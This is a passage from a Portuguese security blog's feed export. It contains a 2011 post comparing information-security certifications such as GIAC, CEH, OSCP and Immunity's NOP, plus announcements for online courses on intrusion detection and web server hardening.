lang="en-US" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Operations &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Software Security and/or Secure Coding &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Forensics &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Legal &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Expert&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Entreessas categorias, podemos contar com dezenas de certificações, asquais destaco a seguir, como sendo as mais interessantes na partetécnica referente à segurança, de acordo com a área de atuaçãodesejada pelo profissional.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraquem atua ou quer atuar com resposta à incidentes:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GCIA&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Certified Intrusion Analyst&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GCIH&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Certified Incident Handler&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraquem deseja atuar com teste de invasão e avaliações de segurança:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GPEN&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Penetration Tester&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GWAPT&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Certified Web Application Penetration Tester&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;b&gt;GAWN&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt; - GIAC Assessing Wireless Networks&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraquem deseja atuar com forense computacional e análise de malware:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GCFE&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Certified Forensic Examiner&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GCFA&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Certified Forensic Analyst&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;GREM&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span lang="en-US"&gt; - GIAC Certified Reverse Engineering Malware&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Desde2005 surgiu uma controvérsia com relação às certificações daSANS, mas nada que comprometesse sua credibilidade no mercado. Essaorganização, decidiu facilitar o processo de obtenção de suascertificações criando dois níveis, o Silver e o Gold. Para tiraruma certificação no nível Silver, basta o profissional realizar asprovas de múltiplas escolhas necessárias para aquela áreaespecífica. No entanto, se o profissional quiser ser um certificadoGold, ele precisa finalizar o desafio prático apresentado, paracomprovar sua aquisição de conhecimento aplicado à situaçõespráticas.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;AEc-Council, outra entidade que oferece certificações para a áreade segurança, também possui reconhecimento internacional, inclusivecom a chancela do Pentágono (órgão de defesa americano). Suascertificações tem ganhado um reconhecimento maior no mercadobrasileiro, e possuem um foco mais técnico do que gerencial.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Apesarda Ec-Council oferecer mais de uma dezena de certificações, vouabordar apenas quatro delas, com foco mais técnico e próximo dasnecessidades de um profissional de segurança. São elas: ECSA, CEH,LPT e CHFI.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraquem está iniciando em segurança, está bem cru mesmo e querentender o que um analista de segurança faz e quais suasatribuições, aconselho a certifica ECSA (Ec-Council SecurityAnalyst), que aborda os temas básicos da atuação com segurança dainformações e os controles de segurança que precisam serimplementados, para tornar uma infraestrutura mais segura. Agora, nãoesperem demais dessa certificação, pois ela é inicial eintrodutória no assunto de segurança, não sendo indicada paraprofissionais que já atuem na área e tenham experiência de algunsanos.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraquem quer algo um pouco mais aprofundado, a CEH (Certified Ethicalhacker) é mais interessante, pois já aborda a questão dasavaliações de segurança, como teste de invasão e auditoria desegurança em redes e sistemas. É reconhecida internacionalmente,mas na minha opinião peca por não ter uma avaliação prática, comdesafios do tipo “capture the flag”. Entretanto, ainda assim éuma certificação interessante que força o aluno a estudar bastanteos conceitos de segurança e testes.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Atualmente,reunindo a certificação ECSA e CEH, caso o profissional tenhaexperiência e atuação com testes de invasão, ele pode reunir asdocumentações comprobatórias necessárias de sua experiência, erequerer à Ec-Council a certificação LPT (Licensed PenetrationTester), que certifica o profissional como sendo um pentesterreconhecido por uma organização internacional, a Ec-Council.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Confessoque dessas certificações da Ec-Council, aqui no Brasil só vi emvagas&amp;nbsp; de empregos, a solicitação da CEH e da CHFI, a próximaa ser comentada. &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;ACHFI (Certified Hacking Forensic Investigator), já possui um focobem específico, que é a forense computacional. É bem interessanteo conteúdo cobrado, desde que o profissional saiba como aplicá-lo,pois como todas as outras provas da Ec-Council, é tudo teórico commúltiplas escolhas. No entanto, o nível técnico dessa certificaçãoé superior aos das citadas anteriormente, pois pressupõe umconhecimento prévio do que é abordados nas três certificaçõesanteriores. Afinal, como um investigador poderá encontrar indíciosse não conhece como deve ser um ambiente seguro, como normalmenteele pode ser comprometido, e quais as ferramentas e métodosutilizados numa invasão? Logo, podemos assumir que a CHFI é umareunião dos conhecimentos necessários para as certificaçõesanteriores mais o conhecimento investigativo, necessário para arecriação de cenários complexos através da descobertas deindícios e evidências, em sistemas Windows, Linux, MAC, imagens,roteadores, redes, e etc.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Astrês organizações restantes, ISECOM, Offensive Security eImmunity, oferecem poucas certificações, mas nem por isso sãomenos importantes. &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;AISECOM é responsável pela manutenção e suporte à OSSTMM, umametodologia internacionalmente aceita como muito adequada para arealização de testes de invasão. O que é interessante é que essametodologia foi tão bem aceita no mercado, que estuda-se apossibilidade de transformá-la em uma norma ISO, específica para ostestes de segurança. Portanto, qualquer uma das duas certificaçõesdessa entidade, OPSA e OPST (OSSTMM Professional Security Analyst eOSSTMM Professional Security Tester), é interessante para quemquiser já estar preparado para essa mudança radical, tornando essametodologia um padrão adotado internacionalmente.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Aprimeira certificação OPSA, é mais voltada para analistas desegurança, administradores de rede com foco em segurança e CSO’s,que precisam ter um conhecimento mais aprofundado que a média sobreuma metodologia de testes de segurança, mas sem necessariamenteprecisar realizar esses testes ou avaliações de forma maisespecializada.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Jáa OPST, tem um foco mais aprofundado, na realização de testes desegurança, fazendo com que essa seja a escolha mais acertada para osprofissionais que atuem diretamente realizando essas avaliações einvestigações, tais como Pentesters e Investigadores Forense.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Agora,na área de segurança, apesar de ainda não ter o devidoreconhecimento do mercado aqui no Brasil, as certificações querealmente atestam se o profissional está pronto para atuar naprática com testes de invasão são: OSCP e OSCE. Sem desmerecer asdemais certificações, acredito que essas duas são as que mais seaproximam de um ambiente real encontrado por um profissional aorealizar um testes de invasão.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Ofoco de ambas as certificações, é comprovar na prática aaquisição dos conhecimentos transmitidos ao estudante ao longo doperíodo que o mesmo tem acesso ao LAB, fornecido pela OffensiveSecurity, organização mantenedora do Backtrack, distribuiçãosobre a qual toda a certificação é baseada.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Adiferença entre ambas certificações, OSCP (Offensive SecurityCertified Professional) e OSCE (Offensive Security Certified Expert),está no treinamento que é realizado e na prova que culminam essestreinamentos.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraa OSCP, o treinamento realizado é o PWB (Pentesting with Backtrack)com duração de 30, 60 ou 90 dias de acesso, depende de quanto oaluno quiser pagar pelo tempo de acesso ao LAB. A prova éexclusivamente prática, onde o aluno tem 24h corridas para realizara entrada na rede cedida para avaliação pela Offensive Security, ealcançar os objetivos propostos, de acordo com os conteúdosestudados e praticados no LAB.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Epara alcançar a OSCE, o aluno precisa inscrever-se no treinamentoCTP (Cracking the Perimeter), que funciona nos mesmos moldes do PWD,com acesso ao LAB por um determinado número de dias, acesso àapostila e vídeos com as técnicas explicadas detalhadamente, queculminarão numa avaliação bem mais avançada que a primeira: 48hcorridas para a realização das práticas com um relatório final detudo o que foi feito. Nesse nível, o aluno não apenas empregarátécnicas de exploração, mas analisará vulnerabilidades, como elaspoderão ser exploradas e precisará desenvolver seus própriosexploits para explorar as vulnerabilidades encontradas (um adendo: osexploits desenvolvidos precisam ser enviados ao final da avaliação).&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Portanto,deve estar claro para vocês porque essas certificações ainda nãopossuem o devido reconhecimento no mercado de segurança, pois paradominar o processo de testes de invasão e testes de segurança nonível solicitado por essas certificações, o profissional precisater um nível técnico bem alto.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Acertificação que deixei para o final, não é a menos importante,mas sim a mais trabalhosa de se conquistar, pois demanda um níveltécnico razoavelmente alto para o que a certificação se propõe.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Essacertificação é a NOP (Network Offensive Professional), criada pelaImmunity Sec., desenvolvedora do Immunity Canvas e Immunity Debugger,importantes ferramentas para profissionais de segurança.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Emprimeiro lugar, a prova é de graça, e não se paga nada para tirara certificação, a não ser a passagem de avião os EUA (!!!). Apartir daí, na sede da Immunity, o postulando terá pouco mais de 30minutos para fazer o seguinte: receber dois PE's (executáveisWindows), com vulnerabilidades que deverão ser detectadas atravésdo processo de debugging e fuzzing, utilizando ferramentas da própriaImmunity, como é o caso de seu Debugger. Detectando asvulnerabilidades, é necessário dentro do prazo estipulado(lembre-se, pouco mais de 30 minutos no total), desenvolver umexploit, nada muito rebuscado, que faça a exploração dessavulnerabilidades e alcance um determinado resultado como definidopelos aplicadores da prova.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Atravésdessa pequena análise de algumas das certificações existentes,podemos perceber quantas possibilidade temos diante de nós. Aescolha de qual certificação é melhor, sempre vai depender da áreaonde o profissional deseja atuar, bem como a empresa onde játrabalha ou busca uma vaga.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Obviamenteque a maioria dessas certificações é barata e pode ser tiradafacilmente. Algumas são mais fáceis, como citadas ao longo dotexto, mas outras demandam meses de preparação, mesmo que oprofissional já atue na área e tenha alguns anos de experiência.No entanto, mesmo que o tempo e dinheiro empregados sejam em grandequantidade algumas vezes, podem acreditar: vale muito à pena. Masobviamente que vale mais ainda à pena, quando o profissional alémdo papel timbrado, tenha a prática e vivência necessárias paraimpor-se no mercado como profissional respeitado e que realmente sabeo que está fazendo.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Esperoque, de alguma forma, esse artigo possa ter tornado o caminho devocês em busca das certificações em segurança, ainda mais claro.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-6324472486191017206?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/6324472486191017206/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/10/certificacoes-em-seguranca-para-qual.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6324472486191017206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6324472486191017206'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/10/certificacoes-em-seguranca-para-qual.html' title='Certificações em Segurança: para qual estudar?'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8377486116121724433</id><published>2011-09-15T20:46:00.000-03:00</published><updated>2011-10-03T18:09:13.689-03:00</updated><title type='text'>Curso de Monitoramento e Detecção de Intrusão - EaD</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Gostaria de anunciar o curso de Monitoramento e Detecção de Intrusão, na modalidade EaD.&lt;br /&gt;&lt;br /&gt;O curso ocorrerá entre nos dias 14, 21, 28/10 e 04/11, de 21h às 00h, onde o aluno terá contato direto com o instrutor através de uma plataforma de conferência on-line, com slides, voz, e desktop sharing.&lt;br /&gt;&lt;br /&gt;O valor do curso é de R$ 300,00 e a carga horária é de 12h completamente hands-on.&lt;br /&gt;&lt;br /&gt;Segue abaixo o cronograma do curso:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Utilização do SYSLOG-NG&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Administração e monitoramento de logs e evento no sistema; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Logs locais e remotos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Gerenciamento de Servidores de Logs; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Definindo política de rotacionamento de logs;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;HIDS (Host Intrusion Detection System)&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Entendendo um HIDS; Instalação e&amp;nbsp; Configuração do OSSEC; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Instalação e Configuração de interface web para gerenciamento dos logs do OSSEC;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Implementação de Sistema de Monitoramento&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Entendendo os sistemas de monitoramento; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ferramentas utilizadas; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Instalação e configuração do Nagios; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Plugins do Nagios;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;IDS / IPS (Network Intrusion Detection System / Intrusion Prevention System)&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Entendendo um NIDS e um IPS; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Instalação e Configuração do Snort Inline; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Instalação e Configuração do BarnYard2; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Instalação e Configuração do Snorby; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Instalação e Configuração do PulledPork;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Criação de regras para o Snort;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Pré-requisitos:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Conhecimentos básicos de segurança da informação (conceitos existentes nas normas ISO 27001 e 27002).&lt;/li&gt;&lt;li&gt;Operação básica de ambiente Linux.&lt;/li&gt;&lt;li&gt;Conhecimentos básicos sobre camadas e protocolos de rede.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;O pagamento será feito via pagseguro e poderá ser parcelado no cartão de crédito.&lt;br /&gt;&lt;br /&gt;Quem tiver interesse no curso, por favor, acesse o link &lt;a href="http://migre.me/5HDaN"&gt;http://migre.me/5HDaN&lt;/a&gt; e faça sua inscrição no curso "Monitoramento e Detecção de Intrusão" que em breve enviarei um e-mail para o pgto via PagSeguro. &lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;&lt;br /&gt;Luiz Vieira&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8377486116121724433?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8377486116121724433/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/09/curso-de-monitoramento-e-deteccao-de.html#comment-form' title='18 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8377486116121724433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8377486116121724433'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/09/curso-de-monitoramento-e-deteccao-de.html' title='Curso de Monitoramento e Detecção de Intrusão - EaD'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5022510016625887251</id><published>2011-08-19T10:26:00.003-03:00</published><updated>2011-08-19T10:52:03.217-03:00</updated><title type='text'>Curso de Segurança em Servidores WEB - EaD</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Gostaria de anunciar o curso de Segurança em Servidores WEB, na modalidade EaD.&lt;br /&gt;&lt;br /&gt;O curso ocorrerá entre os dias 06/09 à 09/09, de 21h às 23h através da modaliade EaD, onde o aluno terá contato direto com o instrutor através de uma plataforma de conferência on-line, com slides, voz, e desktop sharing.&lt;br /&gt;&lt;br /&gt;O valor do curso é de R$200,00 e a carga horária é de 8h completamente hands-on.&lt;br /&gt;&lt;br /&gt;Segue abaixo o cronograma do curso:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ambientação e compreensão do cenário&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Instalação e Configuração de um servidor WEB&lt;/li&gt;&lt;li&gt;Instalação da aplicação WEB para testes&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ataques à servidores WEB&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Tipos de ataques&lt;/li&gt;&lt;li&gt;Fingerprint em Web Server&lt;/li&gt;&lt;li&gt;Descobrindo Vulnerabilidades com Nikto&lt;/li&gt;&lt;li&gt;Auditoria e Exploração de Web Servers com W3AF&lt;/li&gt;&lt;li&gt;Online Scanner&lt;/li&gt;&lt;li&gt;Teste com página maliciosa&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Protegendo seu servidor WEB&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ambiente seguro com chroot&lt;/li&gt;&lt;li&gt;Instalação do Apache no chroot e configuração&lt;/li&gt;&lt;li&gt;Instalando e configurando o PHP5 + Suhosin no chroot&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Segurança Avançada no Apache&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Mod_security&lt;/li&gt;&lt;li&gt;Mod_evasive&lt;/li&gt;&lt;li&gt;Mod_qos&lt;/li&gt;&lt;li&gt;Mod_limitipconn&lt;/li&gt;&lt;li&gt;OSSEC&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;O pagamento será feito via pagseguro e poderá ser parcelado no cartão de crédito.&lt;br /&gt;&lt;br /&gt;Quem tiver interesse no curso, por favor, acesse o link &lt;a href="http://migre.me/5nagH"&gt;http://migre.me/5nagH&lt;/a&gt; e faça sua inscrição no curso "Segurança em Servidores WEB" que em breve 